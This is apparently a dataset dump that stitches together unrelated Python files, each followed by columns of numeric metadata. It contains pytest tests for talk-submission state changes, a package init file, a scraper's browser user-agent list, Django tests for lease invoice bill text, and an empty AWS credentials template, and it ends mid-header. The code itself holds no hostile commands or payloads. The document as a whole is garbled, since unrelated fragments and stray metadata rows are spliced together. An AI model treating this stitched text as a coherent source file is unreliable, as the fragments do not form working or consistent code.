assert submission.state == SubmissionStates.ACCEPTED
assert submission.logged_actions().count() == (count + 1)
assert submission.event.queued_mails.count() == 1
assert submission.event.wip_schedule.talks.count() == 1
@pytest.mark.parametrize('state', (
SubmissionStates.ACCEPTED,
SubmissionStates.WITHDRAWN,
))
@pytest.mark.parametrize('force', (True, False))
@pytest.mark.django_db
def test_accept_fail(submission, state, force):
submission.state = state
submission.save()
count = submission.logged_actions().count()
if force:
submission.accept(force=force)
assert submission.state == SubmissionStates.ACCEPTED
assert submission.logged_actions().count() == (count + 1)
assert submission.event.queued_mails.count() == 1
assert submission.event.wip_schedule.talks.count() == 1
else:
with pytest.raises(SubmissionError):
submission.accept(force=force)
assert submission.state == state
assert submission.event.queued_mails.count() == 0
assert submission.event.wip_schedule.talks.count() == 0
@pytest.mark.parametrize('state', (
SubmissionStates.SUBMITTED,
SubmissionStates.ACCEPTED,
))
@pytest.mark.django_db
def test_reject_success(submission, state):
submission.state = state
submission.save()
count = submission.logged_actions().count()
submission.reject()
assert submission.state == SubmissionStates.REJECTED
assert submission.logged_actions().count() == (count + 1)
assert submission.event.queued_mails.count() == 1
assert submission.event.wip_schedule.talks.count() == 0
@pytest.mark.parametrize('state', (
SubmissionStates.REJECTED,
SubmissionStates.CONFIRMED,
SubmissionStates.CANCELED,
SubmissionStates.WITHDRAWN,
))
@pytest.mark.parametrize('force', (True, False))
@pytest.mark.django_db
def test_reject_fail(submission, state, force):
submission.state = state
submission.save()
count = submission.logged_actions().count()
if force:
submission.reject(force=force)
assert submission.state == SubmissionStates.REJECTED
assert submission.logged_actions().count() == (count + 1)
assert submission.event.queued_mails.count() == 1
assert submission.event.wip_schedule.talks.count() == 0
else:
with pytest.raises(SubmissionError):
submission.reject(force=force)
assert submission.state == state
assert submission.logged_actions().count() == count
assert submission.event.queued_mails.count() == 0
assert submission.event.wip_schedule.talks.count() == 0
@pytest.mark.parametrize('state', (
SubmissionStates.ACCEPTED,
SubmissionStates.CONFIRMED,
))
@pytest.mark.django_db
def test_cancel_success(submission, state):
submission.state = state
submission.save()
count = submission.logged_actions().count()
submission.cancel()
assert submission.state == SubmissionStates.CANCELED
assert submission.logged_actions().count() == (count + 1)
assert submission.event.queued_mails.count() == 0
assert submission.event.wip_schedule.talks.count() == 0
@pytest.mark.parametrize('state', (
SubmissionStates.SUBMITTED,
SubmissionStates.REJECTED,
SubmissionStates.CANCELED,
SubmissionStates.WITHDRAWN,
))
@pytest.mark.django_db
def test_cancel_fail(submission, state):
submission.state = state
submission.save()
with pytest.raises(SubmissionError):
submission.cancel()
assert submission.state == state
assert submission.event.queued_mails.count() == 0
assert submission.event.wip_schedule.talks.count() == 0
assert submission.logged_actions().count() == 0
@pytest.mark.parametrize('state', (
SubmissionStates.SUBMITTED,
))
@pytest.mark.django_db
def test_withdraw_success(submission, state):
submission.state = state
submission.save()
count = submission.logged_actions().count()
submission.withdraw()
assert submission.state == SubmissionStates.WITHDRAWN
assert submission.logged_actions().count() == (count + 1)
assert submission.event.queued_mails.count() == 0
assert submission.event.wip_schedule.talks.count() == 0
@pytest.mark.parametrize('state', (
SubmissionStates.ACCEPTED,
SubmissionStates.CONFIRMED,
SubmissionStates.REJECTED,
SubmissionStates.CANCELED,
SubmissionStates.WITHDRAWN,
))
@pytest.mark.django_db
def test_withdraw_fail(submission, state):
submission.state = state
submission.save()
with pytest.raises(SubmissionError):
submission.withdraw()
assert submission.state == state
assert submission.event.queued_mails.count() == 0
assert submission.event.wip_schedule.talks.count() == 0
assert submission.logged_actions().count() == 0
@pytest.mark.django_db
def test_set_state_error_msg(submission):
submission.state = SubmissionStates.SUBMITTED
with pytest.raises(SubmissionError) as excinfo:
submission._set_state(SubmissionStates.SUBMITTED)
assert 'must be rejected or accepted or withdrawn not submitted to be submitted' in str(excinfo.value)
@pytest.mark.parametrize('state,expected', (
(SubmissionStates.ACCEPTED, False),
(SubmissionStates.DELETED, True)
))
@pytest.mark.django_db
def test_is_deleted(submission, state, expected):
submission.state = state
submission.save()
assert submission.is_deleted == expected
| 30.505155
| 106
| 0.720345
| 634
| 5,918
| 6.613565
| 0.099369
| 0.152635
| 0.100167
| 0.100167
| 0.873122
| 0.848319
| 0.795135
| 0.731696
| 0.707131
| 0.685428
| 0
| 0.005663
| 0.164583
| 5,918
| 193
| 107
| 30.663212
| 0.842435
| 0
| 0
| 0.837662
| 0
| 0
| 0.022812
| 0
| 0
| 0
| 0
| 0
| 0.266234
| 1
| 0.064935
| false
| 0
| 0.012987
| 0
| 0.077922
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ed0cbe231ddc14cbc6baa1e81e6f642992c67be7
| 53
|
py
|
Python
|
pfoil/__init__.py
|
nathanrooy/PFOIL
|
bd827c89f865822d3c0c95e1fee3b6a47695ab5c
|
[
"MIT"
] | null | null | null |
pfoil/__init__.py
|
nathanrooy/PFOIL
|
bd827c89f865822d3c0c95e1fee3b6a47695ab5c
|
[
"MIT"
] | null | null | null |
pfoil/__init__.py
|
nathanrooy/PFOIL
|
bd827c89f865822d3c0c95e1fee3b6a47695ab5c
|
[
"MIT"
] | null | null | null |
from ._pfoil import airfoil
from ._pfoil import visc
| 17.666667
| 27
| 0.811321
| 8
| 53
| 5.125
| 0.625
| 0.439024
| 0.731707
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150943
| 53
| 2
| 28
| 26.5
| 0.911111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ed4488ffc17b616002765b42a9d6a82ffa74c83b
| 27,506
|
py
|
Python
|
feapder/network/user_agent.py
|
sirliu/feapder
|
1a8464dfa047c13f7a99c47cbff8d27c63798651
|
[
"MIT"
] | null | null | null |
feapder/network/user_agent.py
|
sirliu/feapder
|
1a8464dfa047c13f7a99c47cbff8d27c63798651
|
[
"MIT"
] | null | null | null |
feapder/network/user_agent.py
|
sirliu/feapder
|
1a8464dfa047c13f7a99c47cbff8d27c63798651
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on 2016-12-28 17:55
---------
@summary:
---------
@author: Boris
@email: boris_liu@foxmail.com
"""
import random
USER_AGENTS = {
"chrome": [
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
"Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36",
"Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36",
"Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
"Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14",
],
"opera": [
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
"Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
"Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
"Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
"Opera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00",
"Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0",
"Opera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62",
"Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52",
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51",
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"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
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"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
],
}
def get(ua_type: str = None):
if not ua_type:
ua_type = random.choice(list(USER_AGENTS.keys()))
elif ua_type not in USER_AGENTS:
raise ValueError(
"ua_type error, expect one of {}".format(list(USER_AGENTS.keys()))
)
return random.choice(USER_AGENTS[ua_type])
| 97.194346
| 231
| 0.642987
| 5,404
| 27,506
| 3.255922
| 0.055885
| 0.030009
| 0.099744
| 0.093663
| 0.900142
| 0.887241
| 0.868599
| 0.848764
| 0.831373
| 0.796533
| 0
| 0.224654
| 0.179524
| 27,506
| 282
| 232
| 97.539007
| 0.554989
| 0.004544
| 0
| 0.018657
| 0
| 0.91791
| 0.877105
| 0.027692
| 0
| 0
| 0
| 0
| 0
| 1
| 0.003731
| false
| 0
| 0.003731
| 0
| 0.011194
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
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| 0
| 0
| 0
|
0
| 9
|
9c2d754133810663b9553e3bc9074ad23f351b94
| 8,494
|
py
|
Python
|
laske_export/tests/test_bill_text.py
|
suutari-ai/mvj
|
c39dbc692afcb3b26366783414c2d5a88a57b25a
|
[
"MIT"
] | 1
|
2021-01-12T08:14:10.000Z
|
2021-01-12T08:14:10.000Z
|
laske_export/tests/test_bill_text.py
|
suutari-ai/mvj
|
c39dbc692afcb3b26366783414c2d5a88a57b25a
|
[
"MIT"
] | 249
|
2017-04-18T14:00:13.000Z
|
2022-03-30T12:18:03.000Z
|
laske_export/tests/test_bill_text.py
|
suutari-ai/mvj
|
c39dbc692afcb3b26366783414c2d5a88a57b25a
|
[
"MIT"
] | 7
|
2017-04-18T08:43:54.000Z
|
2021-07-28T07:29:30.000Z
|
import datetime
from decimal import Decimal
import pytest
from django.utils.crypto import get_random_string
from laske_export.document.invoice_sales_order_adapter import InvoiceSalesOrderAdapter
from laske_export.document.sales_order import SalesOrder
from leasing.enums import ContactType, DueDatesType, RentCycle, TenantContactType
from leasing.models import ReceivableType
@pytest.mark.django_db
def test_one_primary_address_in_leasearea(
django_db_setup,
lease_factory,
rent_factory,
contact_factory,
tenant_factory,
tenant_rent_share_factory,
tenant_contact_factory,
invoice_factory,
invoice_row_factory,
lease_area_factory,
lease_area_address_factory,
):
lease = lease_factory(
type_id=1, municipality_id=1, district_id=5, notice_period_id=1
)
rent_factory(
lease=lease,
cycle=RentCycle.APRIL_TO_MARCH,
due_dates_type=DueDatesType.FIXED,
due_dates_per_year=1,
)
lease_area = lease_area_factory(
lease=lease, identifier=get_random_string(), area=1000, section_area=1000
)
lease_area_address_factory(
lease_area=lease_area,
is_primary=True,
address="Ensisijainen testiosoite",
postal_code="00550",
city="Helsinki",
)
tenant1 = tenant_factory(
lease=lease, share_numerator=1, share_denominator=1, reference="testreference"
)
tenant_rent_share_factory(
tenant=tenant1, intended_use_id=1, share_numerator=1, share_denominator=1
)
contact1 = contact_factory(
first_name="First name 1", last_name="Last name 1", type=ContactType.PERSON
)
tenant_contact_factory(
type=TenantContactType.TENANT,
tenant=tenant1,
contact=contact1,
start_date=datetime.date(year=2000, month=1, day=1),
)
billing_period_start_date = datetime.date(year=2017, month=7, day=1)
billing_period_end_date = datetime.date(year=2017, month=12, day=31)
invoice = invoice_factory(
lease=lease,
total_amount=Decimal("123.45"),
billed_amount=Decimal("123.45"),
outstanding_amount=Decimal("123.45"),
recipient=contact1,
billing_period_start_date=billing_period_start_date,
billing_period_end_date=billing_period_end_date,
)
receivable_type = ReceivableType.objects.get(pk=1)
invoice_row_factory(
invoice=invoice,
tenant=tenant1,
receivable_type=receivable_type,
billing_period_start_date=billing_period_start_date,
billing_period_end_date=billing_period_end_date,
amount=Decimal("123.45"),
)
sales_order = SalesOrder()
adapter = InvoiceSalesOrderAdapter(
invoice=invoice, sales_order=sales_order, receivable_type_rent=receivable_type
)
adapter.set_values()
assert "Ensisijainen testiosoite" in adapter.get_bill_text()
@pytest.mark.django_db
def test_one_nonprimary_address_in_leasearea(
django_db_setup,
lease_factory,
rent_factory,
contact_factory,
tenant_factory,
tenant_rent_share_factory,
tenant_contact_factory,
invoice_factory,
invoice_row_factory,
lease_area_factory,
lease_area_address_factory,
):
lease = lease_factory(
type_id=1, municipality_id=1, district_id=5, notice_period_id=1
)
rent_factory(
lease=lease,
cycle=RentCycle.APRIL_TO_MARCH,
due_dates_type=DueDatesType.FIXED,
due_dates_per_year=1,
)
lease_area = lease_area_factory(
lease=lease, identifier=get_random_string(), area=1000, section_area=1000
)
lease_area_address_factory(
lease_area=lease_area,
is_primary=False,
address="Ainoa ei-ensisijainen osoite",
postal_code="00550",
city="Helsinki",
)
tenant1 = tenant_factory(
lease=lease, share_numerator=1, share_denominator=1, reference="testreference"
)
tenant_rent_share_factory(
tenant=tenant1, intended_use_id=1, share_numerator=1, share_denominator=1
)
contact1 = contact_factory(
first_name="First name 1", last_name="Last name 1", type=ContactType.PERSON
)
tenant_contact_factory(
type=TenantContactType.TENANT,
tenant=tenant1,
contact=contact1,
start_date=datetime.date(year=2000, month=1, day=1),
)
billing_period_start_date = datetime.date(year=2017, month=7, day=1)
billing_period_end_date = datetime.date(year=2017, month=12, day=31)
invoice = invoice_factory(
lease=lease,
total_amount=Decimal("123.45"),
billed_amount=Decimal("123.45"),
outstanding_amount=Decimal("123.45"),
recipient=contact1,
billing_period_start_date=billing_period_start_date,
billing_period_end_date=billing_period_end_date,
)
receivable_type = ReceivableType.objects.get(pk=1)
invoice_row_factory(
invoice=invoice,
tenant=tenant1,
receivable_type=receivable_type,
billing_period_start_date=billing_period_start_date,
billing_period_end_date=billing_period_end_date,
amount=Decimal("123.45"),
)
sales_order = SalesOrder()
adapter = InvoiceSalesOrderAdapter(
invoice=invoice, sales_order=sales_order, receivable_type_rent=receivable_type
)
adapter.set_values()
assert "Ainoa ei-ensisijainen osoite" in adapter.get_bill_text()
@pytest.mark.django_db
def test_one_primary_and_nonprimary_addresses_in_leasearea(
django_db_setup,
lease_factory,
rent_factory,
contact_factory,
tenant_factory,
tenant_rent_share_factory,
tenant_contact_factory,
invoice_factory,
invoice_row_factory,
lease_area_factory,
lease_area_address_factory,
):
lease = lease_factory(
type_id=1, municipality_id=1, district_id=5, notice_period_id=1
)
rent_factory(
lease=lease,
cycle=RentCycle.APRIL_TO_MARCH,
due_dates_type=DueDatesType.FIXED,
due_dates_per_year=1,
)
lease_area = lease_area_factory(
lease=lease, identifier=get_random_string(), area=1000, section_area=1000
)
lease_area_address_factory(
lease_area=lease_area,
is_primary=False,
address="Jokutoinen osoite",
postal_code="00550",
city="Helsinki",
)
lease_area_address_factory(
lease_area=lease_area,
is_primary=True,
address="Ensisijainen testiosoite",
postal_code="00550",
city="Helsinki",
)
lease_area_address_factory(
lease_area=lease_area,
is_primary=False,
address="Toissijainen osoite",
postal_code="00550",
city="Helsinki",
)
tenant1 = tenant_factory(
lease=lease, share_numerator=1, share_denominator=1, reference="testreference"
)
tenant_rent_share_factory(
tenant=tenant1, intended_use_id=1, share_numerator=1, share_denominator=1
)
contact1 = contact_factory(
first_name="First name 1", last_name="Last name 1", type=ContactType.PERSON
)
tenant_contact_factory(
type=TenantContactType.TENANT,
tenant=tenant1,
contact=contact1,
start_date=datetime.date(year=2000, month=1, day=1),
)
billing_period_start_date = datetime.date(year=2017, month=7, day=1)
billing_period_end_date = datetime.date(year=2017, month=12, day=31)
invoice = invoice_factory(
lease=lease,
total_amount=Decimal("123.45"),
billed_amount=Decimal("123.45"),
outstanding_amount=Decimal("123.45"),
recipient=contact1,
billing_period_start_date=billing_period_start_date,
billing_period_end_date=billing_period_end_date,
)
receivable_type = ReceivableType.objects.get(pk=1)
invoice_row_factory(
invoice=invoice,
tenant=tenant1,
receivable_type=receivable_type,
billing_period_start_date=billing_period_start_date,
billing_period_end_date=billing_period_end_date,
amount=Decimal("123.45"),
)
sales_order = SalesOrder()
adapter = InvoiceSalesOrderAdapter(
invoice=invoice, sales_order=sales_order, receivable_type_rent=receivable_type
)
adapter.set_values()
assert "Ensisijainen testiosoite" in adapter.get_bill_text()
assert "Jokutoinen osoite" not in adapter.get_bill_text()
assert "Toissijainen osoite" not in adapter.get_bill_text()
| 29.493056
| 86
| 0.702496
| 1,018
| 8,494
| 5.492141
| 0.120825
| 0.069755
| 0.054731
| 0.059023
| 0.920229
| 0.920229
| 0.917009
| 0.906636
| 0.899124
| 0.899124
| 0
| 0.034312
| 0.214269
| 8,494
| 287
| 87
| 29.595819
| 0.803416
| 0
| 0
| 0.788618
| 0
| 0
| 0.055215
| 0
| 0
| 0
| 0
| 0
| 0.020325
| 1
| 0.012195
| false
| 0
| 0.03252
| 0
| 0.044715
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c41e84fc47c2b1167ac54e56449bb37d68b91d5
| 443
|
py
|
Python
|
FlaskServer/creds_template.py
|
FherHerand/semi1-lab-examples-2s-2020
|
9ce7502723f97bc2eb985ce200f4db2da053a017
|
[
"MIT"
] | 2
|
2020-06-25T23:31:19.000Z
|
2020-08-08T02:22:56.000Z
|
FlaskServer/creds_template.py
|
FherHerand/semi1-lab-examples-2s-2020
|
9ce7502723f97bc2eb985ce200f4db2da053a017
|
[
"MIT"
] | 5
|
2021-03-11T05:56:23.000Z
|
2021-03-20T20:04:51.000Z
|
FlaskServer/creds_template.py
|
FherHerand/semi1-lab-examples-2s-2020
|
9ce7502723f97bc2eb985ce200f4db2da053a017
|
[
"MIT"
] | 1
|
2020-11-03T20:10:05.000Z
|
2020-11-03T20:10:05.000Z
|
s3 = {
'access_key_id': '',
'secret_access_key': '',
}
rekognition = {
'access_key_id': '',
'secret_access_key': '',
'region': 'us-east-2',
}
dynamodb = {
'access_key_id': '',
'secret_access_key': '',
'region': 'us-east-2',
}
cognito = {
'access_key_id': '',
'secret_access_key': '',
'region': 'us-east-1',
}
lex = {
'access_key_id': '',
'secret_access_key': '',
'region': 'us-east-1',
}
| 18.458333
| 28
| 0.525959
| 51
| 443
| 4.176471
| 0.27451
| 0.422535
| 0.258216
| 0.399061
| 0.85446
| 0.85446
| 0.732394
| 0.732394
| 0.732394
| 0.732394
| 0
| 0.014706
| 0.232506
| 443
| 24
| 29
| 18.458333
| 0.611765
| 0
| 0
| 0.583333
| 0
| 0
| 0.472973
| 0
| 0
| 0
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| 1
| 0
| false
| 0
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| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
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| 1
| 0
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| 0
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| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
92cbb55c52665721163a55c60dcb361411edabdf
| 2,953
|
py
|
Python
|
api/tests/utils/example_models.py
|
AlexRogalskiy/smart-social-distancing
|
2def6738038035e67ac79fc9b72ba072e190321f
|
[
"Apache-2.0"
] | 113
|
2020-05-22T10:54:44.000Z
|
2022-03-22T13:43:38.000Z
|
api/tests/utils/example_models.py
|
